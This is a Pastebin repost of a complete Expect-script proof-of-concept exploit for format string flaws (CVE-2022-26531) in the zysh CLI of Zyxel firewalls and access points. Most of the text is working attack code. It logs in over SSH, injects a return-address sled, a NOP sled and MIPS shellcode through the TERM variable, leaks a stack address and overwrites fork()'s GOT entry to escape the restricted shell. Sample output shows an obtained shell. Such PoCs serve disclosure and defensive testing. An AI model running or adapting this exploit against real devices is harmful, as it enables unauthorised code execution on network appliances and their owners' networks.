Advertisement
FlyFar

Zysh format string PoC Exploit

Feb 9th, 2024
985
1
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 6.89 KB | Cybersecurity | 1 0
  1. #!/usr/bin/expect -f
  2.  
  3. #
  4. # raptor_zysh_fhtagn.exp - zysh format string PoC exploit
  5. # Copyright (c) 2022 Marco Ivaldi <raptor@0xdeadbeef.info>
  6. #
  7. # "We live on a placid island of ignorance in the midst of black seas of
  8. # infinity, and it was not meant that we should voyage far."
  9. #                                -- H. P. Lovecraft, The Call of Cthulhu
  10. #
  11. # "Multiple improper input validation flaws were identified in some CLI
  12. # commands of Zyxel USG/ZyWALL series firmware versions 4.09 through 4.71,
  13. # USG FLEX series firmware versions 4.50 through 5.21, ATP series firmware
  14. # versions 4.32 through 5.21, VPN series firmware versions 4.30 through
  15. # 5.21, NSG series firmware versions 1.00 through 1.33 Patch 4, NXC2500
  16. # firmware version 6.10(AAIG.3) and earlier versions, NAP203 firmware
  17. # version 6.25(ABFA.7) and earlier versions, NWA50AX firmware version
  18. # 6.25(ABYW.5) and earlier versions, WAC500 firmware version 6.30(ABVS.2)
  19. # and earlier versions, and WAX510D firmware version 6.30(ABTF.2) and
  20. # earlier versions, that could allow a local authenticated attacker to
  21. # cause a buffer overflow or a system crash via a crafted payload."
  22. #                                -- CVE-2022-26531
  23. #
  24. # The zysh binary is a restricted shell that implements the command-line
  25. # interface (CLI) on multiple Zyxel products. This proof-of-concept exploit
  26. # demonstrates how to leverage the format string bugs I have identified in
  27. # the "extension" argument of some zysh commands, to execute arbitrary code
  28. # and escape the restricted shell environment.
  29. #
  30. # - This exploit targets the "ping" zysh command.
  31. # - It overwrites the .got entry of fork() with the shellcode address.
  32. # - The shellcode address is calculated based on a leaked stack address.
  33. # - Hardcoded offsets and values might need some tweaking, see comments.
  34. # - Automation/weaponization for other targets is left as an exercise.
  35. #
  36. # For additional details on my bug hunting journey and on the
  37. # vulnerabilities themselves, you can refer to the official advisory:
  38. # https://github.com/0xdea/advisories/blob/master/HNS-2022-02-zyxel-zysh.txt
  39. #
  40. # Usage:
  41. # raptor@blumenkraft ~ % ./raptor_zysh_fhtagn.exp <REDACTED> admin password
  42. # raptor_zysh_fhtagn.exp - zysh format string PoC exploit
  43. # Copyright (c) 2022 Marco Ivaldi <raptor@0xdeadbeef.info>
  44. #
  45. # Leaked stack address:  0x7fe97170
  46. # Shellcode address:     0x7fe9de40
  47. # Base string length:    46
  48. # Hostile format string: %.18u%1801$n%.169u%1801$hn%.150u%1801$hhn%.95u%1802$hhn
  49. #
  50. # *** enjoy your shell! ***
  51. #
  52. # sh-5.1$ uname -snrmp
  53. # Linux USG20-VPN 3.10.87-rt80-Cavium-Octeon mips64 Cavium Octeon III V0.2 FPU V0.0
  54. # sh-5.1$ id
  55. # uid=10007(admin) gid=10000(operator) groups=10000(operator)
  56. #
  57. # Tested on:
  58. # Zyxel USG20-VPN with Firmware 5.10
  59. # [other appliances/versions are also likely vulnerable]
  60. #
  61.  
  62. # change string encoding to 8-bit ASCII to avoid annoying conversion to UTF-8
  63. encoding system iso8859-1
  64.  
  65. # hostile format string to leak stack address via direct parameter access
  66. set offset1 77
  67. set leak [format "AAAA.0x%%%d\$x" $offset1]
  68.  
  69. # offsets to reach addresses in retloc sled via direct parameter access
  70. set offset2 1801
  71. set offset3 [expr $offset2 + 1]
  72.  
  73. # difference between leaked stack address and shellcode address
  74. set diff 27856
  75.  
  76. # retloc sled
  77. # $ mips64-linux-readelf -a zysh | grep JUMP | grep fork
  78. # 112dd558  0000967f R_MIPS_JUMP_SLOT  00000000   fork@GLIBC_2.0
  79. # ^^^^^^^^ << this is the address we need to encode: [112dd558][112dd558][112dd558+2][112dd558+2]
  80. set retloc [string repeat "\x11\x2d\xd5\x58\x11\x2d\xd5\x58\x11\x2d\xd5\x5a\x11\x2d\xd5\x5a" 1024]
  81.  
  82. # nop sled
  83. # nop-equivalent instruction: xor $t0, $t0, $t0
  84. set nops [string repeat "\x01\x8c\x60\x26" 64]
  85.  
  86. # shellcode
  87. # https://github.com/0xdea/shellcode/blob/main/MIPS/mips_n32_msb_linux_revsh.c
  88. set sc "\x3c\x0c\x2f\x62\x25\x8c\x69\x6e\xaf\xac\xff\xec\x3c\x0c\x2f\x73\x25\x8c\x68\x68\xaf\xac\xff\xf0\xa3\xa0\xff\xf3\x27\xa4\xff\xec\xaf\xa4\xff\xf8\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x28\x06\xff\xff\x24\x02\x17\xa9\x01\x01\x01\x0c"
  89.  
  90. # padding to align payload in memory (might need adjusting)
  91. set padding "AAA"
  92.  
  93. # print header
  94. send_user "raptor_zysh_fhtagn.exp - zysh format string PoC exploit\n"
  95. send_user "Copyright (c) 2022 Marco Ivaldi <raptor@0xdeadbeef.info>\n\n"
  96.  
  97. # check command line
  98. if { [llength $argv] != 3} {
  99.     send_error "usage: ./raptor_zysh_fhtagn.exp <host> <user> <pass>\n"
  100.     exit 1
  101. }
  102.  
  103. # get SSH connection parameters
  104. set port "22"
  105. set host [lindex $argv 0]
  106. set user [lindex $argv 1]
  107. set pass [lindex $argv 2]
  108.  
  109. # inject payload via the TERM environment variable
  110. set env(TERM) $retloc$nops$sc$padding
  111.  
  112. # connect to target via SSH
  113. log_user 0
  114. spawn -noecho ssh -q -o StrictHostKeyChecking=no -p $port $host -l $user
  115. expect {
  116.     -nocase "password*" {
  117.         send "$pass\r"
  118.     }
  119.     default {
  120.         send_error "error: could not connect to ssh\n"
  121.         exit 1
  122.     }
  123. }
  124.  
  125. # leak stack address
  126. expect {
  127.     "Router? $" {
  128.         send "ping 127.0.0.1 extension $leak\r"
  129.     }
  130.     default {
  131.         send_error "error: could not access zysh prompt\n"
  132.         exit 1
  133.     }
  134. }
  135. expect {
  136.     -re "ping: unknown host AAAA\.(0x.*)\r\n" {
  137.     }
  138.     default {
  139.         send_error "error: could not leak stack address\n"
  140.         exit 1
  141.     }
  142. }
  143. set leaked $expect_out(1,string)
  144. send_user "Leaked stack address:\t$leaked\n"
  145.  
  146. # calculate shellcode address
  147. set retval [expr $leaked + $diff]
  148. set retval [format 0x%x $retval]
  149. send_user "Shellcode address:\t$retval\n"
  150.  
  151. # extract each byte of shellcode address
  152. set b1 [expr ($retval & 0xff000000) >> 24]
  153. set b2 [expr ($retval & 0x00ff0000) >> 16]
  154. set b3 [expr ($retval & 0x0000ff00) >> 8]
  155. set b4 [expr ($retval & 0x000000ff)]
  156. set b1 [format 0x%x $b1]
  157. set b2 [format 0x%x $b2]
  158. set b3 [format 0x%x $b3]
  159. set b4 [format 0x%x $b4]
  160.  
  161. # calculate numeric arguments for the hostile format string
  162. set base [string length "/bin/zysudo.suid /bin/ping 127.0.0.1 -n -c 3  "]
  163. send_user "Base string length:\t$base\n"
  164. set n1 [expr ($b4 - $base) % 0x100]
  165. set n2 [expr ($b2 - $b4) % 0x100]
  166. set n3 [expr ($b1 - $b2) % 0x100]
  167. set n4 [expr ($b3 - $b1) % 0x100]
  168.  
  169. # check for dangerous numeric arguments below 10
  170. if {$n1 < 10} { incr n1 0x100 }
  171. if {$n2 < 10} { incr n2 0x100 }
  172. if {$n3 < 10} { incr n3 0x100 }
  173. if {$n4 < 10} { incr n4 0x100 }
  174.  
  175. # craft the hostile format string
  176. set exploit [format "%%.%du%%$offset2\$n%%.%du%%$offset2\$hn%%.%du%%$offset2\$hhn%%.%du%%$offset3\$hhn" $n1 $n2 $n3 $n4]
  177. send_user "Hostile format string:\t$exploit\n\n"
  178.  
  179. # uncomment to debug
  180. # interact +
  181.  
  182. # exploit target
  183. set prompt "(#|\\\$) $"
  184. expect {
  185.     "Router? $" {
  186.         send "ping 127.0.0.1 extension $exploit\r"
  187.     }
  188.     default {
  189.         send_error "error: could not access zysh prompt\n"
  190.         exit 1
  191.     }
  192. }
  193. expect {
  194.     "Router? $" {
  195.         send_error "error: could not exploit target\n"
  196.         exit 1
  197.     }
  198.     -re $prompt {
  199.         send_user "*** enjoy your shell! ***\n"
  200.         send "\r"
  201.         interact
  202.     }
  203.     default {
  204.         send_error "error: could not exploit target\n"
  205.         exit 1
  206.     }
  207. }
  208.            
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement